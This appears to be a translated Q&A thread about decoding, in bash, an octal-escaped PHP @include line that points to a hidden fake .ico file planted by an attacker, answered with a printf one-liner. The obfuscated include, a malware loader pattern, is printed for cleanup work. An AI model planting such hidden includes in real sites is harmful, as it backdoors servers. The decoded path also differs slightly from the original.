Bash:Unicode文字コードをデコードできますか? [コピー]

Bash:Unicode文字コードをデコードできますか? [コピー]

PHPファイルから次の行を検索するbashスクリプトがあります。

@include "\057var/\167ww/n\143v/ad\155inis\164rato\162/com\160onen\164s/co\155_spp\141gebu\151lder\057.9e7\064214f\056ico";

Unicode文字コードをリテラル文字としてデコードする方法が必要です。これにより、攻撃者が作成した偽のアイコンを見つけることができます。

Unicode文字をデコードするためにbashで何を使用できますか?

ベストアンサー1

非常に簡単な解決策(利用可能な場合)はprintfを使用することです。

printf '4:@include "\057v\141r\057w\167w\057v\143v\057a\144m\151n\151s\164r\141t\157r\057c\157m\160o\156e\156t\163/\143o\155_\163p\160a\147e\142u\151l\144e\162/\0569\1457\0642\0614\146.\151c\157"; '

私が必要なものを与える

4:@include "/var/www/vcv/administrator/components/com_sppagebuilder/.9e74214f.ico";

おすすめ記事